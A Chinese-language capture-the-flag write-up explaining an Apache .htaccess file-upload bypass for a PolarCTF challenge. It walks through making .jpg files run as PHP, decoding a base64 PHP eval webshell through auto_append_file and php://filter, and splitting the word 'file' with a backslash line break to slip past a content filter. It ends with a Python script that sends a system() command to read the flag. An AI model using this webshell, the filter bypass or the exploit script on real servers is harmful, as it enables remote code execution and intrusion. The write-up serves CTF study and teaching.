对apache服务器环境下利用.htaccess配置文件完成文件上传的理解
对apache服务器环境下利用.htaccess配置文件完成文件上传的理解
.htaccess 文件是 Apache Web 服务器中的配置文件,用于控制服务器的行为。其格式非常简单,通常由一系列指令和规则组成
我们这里可以利用的就是把别的格式的文件当作php文件来执行
AddType application/x-httpd-php .jpg
AddType:AddType是 Apache 配置指令,用于为特定的文件扩展名指定 MIME 类型。MIME 类型(Multipurpose Internet Mail Extensions)用于指示浏览器如何处理某种类型的文件。
application/x-httpd-php:application/x-httpd-php是指定的 MIME 类型。在这里,它表示文件将被作为 PHP 脚本来处理。- 正常情况下,PHP 文件的 MIME 类型通常是
application/x-httpd-php,这意味着该文件应由 PHP 解析器处理,而不是由浏览器直接下载或展示。
.jpg:.jpg是目标文件的扩展名。在此指令中,它表示所有以.jpg结尾的文件。
整体作用
当这条指令被包含在 .htaccess 文件或 Apache 配置中时,它的效果是:
- 任何请求后缀为
.jpg的文件将被 Apache 服务器视作 PHP 文件进行处理。这意味着即使文件的扩展名是.jpg,服务器仍然会将其当作 PHP 脚本执行,而不是作为普通的图像文件返回。
例题 polarctf 困难 上传
回到这道题,明白了htaccess的用法之后我们就可以传马了
script头可以绕过对<?的过滤,但是在php7之后这些标签都被移除了,因此可以采取编码的方式绕过,将我们要上传的一句话木马使用base64编码后进行上传
php肯定没法解析base64编码后的代码,所以在执行前需要进行base64解码,这里同样需要利用htaccess进行解码
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=yjh.jpg"
php_value:php_value是一种指令,通常在 Apache 的.htaccess文件中使用,用于设置 PHP 的配置选项。这允许用户在特定目录下更改某些 PHP 设置,而不必修改全局的php.ini文件。
auto_append_file:auto_append_file是一个 PHP 配置选项,用于指定在每个脚本执行完毕后自动附加的文件。这意味着在每个 PHP 脚本结束时,指定的文件内容将被添加到输出中。
"php://filter/read=convert.base64-decode/resource=yjh.jpg":- 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
read=convert.base64-decode:这是一个过滤器,指示 PHP 在读取文件时,对其执行 Base64 解码。即该路径会将文件的内容视作 Base64 编码的内容进行解码。resource=yjh.jpg:这是要读取的资源,这里指定的文件是yjh.jpg,即该 JPEG 文件。
- 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
整体作用
通过设置 auto_append_file 为这个流路径,PHP 在处理每个请求时:
- 在执行完 PHP 脚本后,自动读取指定的 JPEG 文件 (
yjh.jpg),并对其内容进行 Base64 解码。 - 将解码后的内容附加到最终的输出中。
这里还要注意一个问题
由于本题过滤了文件内容中的file,所以我们需要利用反斜杠加换行绕过file过滤
在 PHP 和许多编程语言或配置文件中,反斜杠(\)可以用作行续符,允许将一条指令拆分为多行书写。这种方式可以在代码或配置中增强可读性,但是在某些情况下,它也可以作为一种简单的“绕过”机制,避免触发特定文本的过滤或识别。
通过在 file 和其后内容之间插入反斜杠并换行,关键词 file 被拆分为两部分,使得过滤机制不再能识别完整的 file 这个关键词。
例如,php_value auto_append_fi\ 作为一行,\le 在下一行,其实是在继续前一行的内容,从而构成了 auto_append_file。由于过滤机制只检测单行,因此无法判断 file 是整个关键词的一部分。
php_value auto_append_fi\
le
至此本题思路结束
上传htaccess文件
AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=yjh.jpg"
上传base64编码后的一句话马文件
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
上传,访问/upload/yjh.jpg,传参,拿到flag
Exp
import requests
url='http://949c4480-402d-40c7-8119-4af0266f6c9e.www.polarctf.com:8090/upload/yjh.jpg'
data={'a':'system("cat /f*");'}
r=requests.post(url,data=data)
print(r.text)
对apache服务器环境下利用.htaccess配置文件完成文件上传的理解的更多相关文章
- Windows环境下用C#编程将文件上传至阿里云OSS笔记
Windows环境下用C#编程将文件上传至阿里云OSS笔记 本系列文章由ex_net(张建波)编写,转载请注明出处. http://blog.csdn.net/ex_net/article/detai ...
- springmvc环境下使用ajaxfileupload.js进行文件上传
controller: /* #region */ @RequestMapping(produces = "text/html;charset=UTF-8", value = &q ...
- XCode5环境下利用crash log调试线上Crash的流程
1.前言 本文主要介绍在XCode5环境下,如何根据App自己生成的crashlog来调试真机上运行时产生的crash问题. 2. 步骤 (1)构造一段会crash的代码,并放到viewDidLoad ...
- windows下IIS+PHP解决大文件上传500错问题
linux下改到iis+php后,上传大于2M就出500错,改了php.ini中的upload_max_filesize也不行,最后解决如下: 第一步:修改php.ini 上传大小限制 (以上传500 ...
- SpringMVC第五篇【方法返回值、数据回显、idea下配置虚拟目录、文件上传】
Controller方法返回值 Controller方法的返回值其实就几种类型,我们来总结一下-. void String ModelAndView redirect重定向 forward转发 数据回 ...
- python利用socket写一个文件上传
1.先将一张图片拖入‘文件上传’的目录下,利用socket把这张图片写到叫‘yuan’的文件中 2.代码: #模拟服务端 import subprocess import os import sock ...
- 利用Selenium实现图片文件上传的两种方式介绍
在实现UI自动化测试过程中,有一类需求是实现图片上传,这种需求根据开发的实现方式,UI的实现方式也会不同. 一.直接利用Selenium实现 这种方式是最简单的一种实现方式,但是依赖于开发的实现. 当 ...
- 利用MultipartFile来进行文件上传
这个例子实在SpringMVC的基础上完成的,因此在web.xml中需要配置 web.xml <!-- 配置Spring MVC的入口 DispatcherServlet,把所有的请求都提交到该 ...
- 4GB以上超大文件上传和断点续传服务器的实现
随着视频网站和大数据应用的普及,特别是高清视频和4K视频应用的到来,超大文件上传已经成为了日常的基础应用需求. 但是在很多情况下,平台运营方并没有大文件上传和断点续传的开发经验,往往在网上找一些简单的 ...
- Apache Commons fileUpload实现文件上传之一
需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...
随机推荐
- Manus,没有秘密「注解版」
近来Manus走红,「争论」不断,我也在前文<Manus爆火,是硬核还是营销?>中阐述过自Manus发布后,行业讨论以及开源复刻的信息,以及我们如何结合蚂蚁图计算(TuGraph)技术,实 ...
- go包管理工具 govendor
govendor介绍 govendor 是 GoLang 常用的一个第三方包管理工具,它的出现解决了不同用户在 clone 同一个项目时从外部获取不同依赖库版本的问题. govendor会将项目需要的 ...
- linux 关机方法
虚拟机是虚拟技术的一种,很多用户会在虚拟机上边使用命令来进行自定义操作关机,这样方便快捷,能够有更多的时间处理别的事情,那么还有没有其他更容易操作的poweroff关机命令呢?一起来看下吧. 虚拟机关 ...
- Docker swarm集群增加节点
docker swarm初始化 docker swarm init docker swarm 增加节点 在已经初始化的机器上执行:# docker swarm join-token manager T ...
- Code Runner MCP Server,来了!
大家好!我是韩老师. 如果作为程序员的你,还不了解 MCP (Model Context Protocol) 的话,那韩老师劝你赶紧去补补课吧! 本文不对 MCP 进行详细介绍~ 简单来说,MCP i ...
- 0x00 语法知识
目录 C++ STL Vector Pair String Queue Stack Deque Set Map Bitset Algorithm库函数 Reverse Unique Random_sh ...
- 深度学习实战:从零构建图像分类API(Flask/FastAPI版)
引言:AI时代的图像分类需求 在智能时代,图像分类技术已渗透到医疗影像分析.自动驾驶.工业质检等各个领域.作为开发者,掌握如何将深度学习模型封装为API服务,是实现技术落地的关键一步.本文将手把手教你 ...
- 🎀隧道代理ip使用
简介 隧道代理(Tunnel Proxy)是一种特殊的代理服务,它的工作方式是在客户端与远程服务器之间建立一条"隧道".这种技术常被用来绕过网络限制或提高网络安全性. 主要功能 I ...
- 看过源码吗?说下 Spring 由哪些重要的模块组成?
是的,Spring源码可以深入分析,Spring框架是一个庞大的生态系统,包含多个模块,每个模块都为不同的功能提供支持.以下是Spring的主要模块及其职责: 1. Core Container(核心 ...
- requirejs的简单使用,requirejs报错Uncaught Error: Mismatched anonymous define() module: …
requirejs的简单使用 define()方法的3个参数: 参数1为模块名称(不填则以当前js的文件名定义一个匿名模块), 参数2为依赖项数组(可不填), 参数3为模块的实现 引入jQuery: ...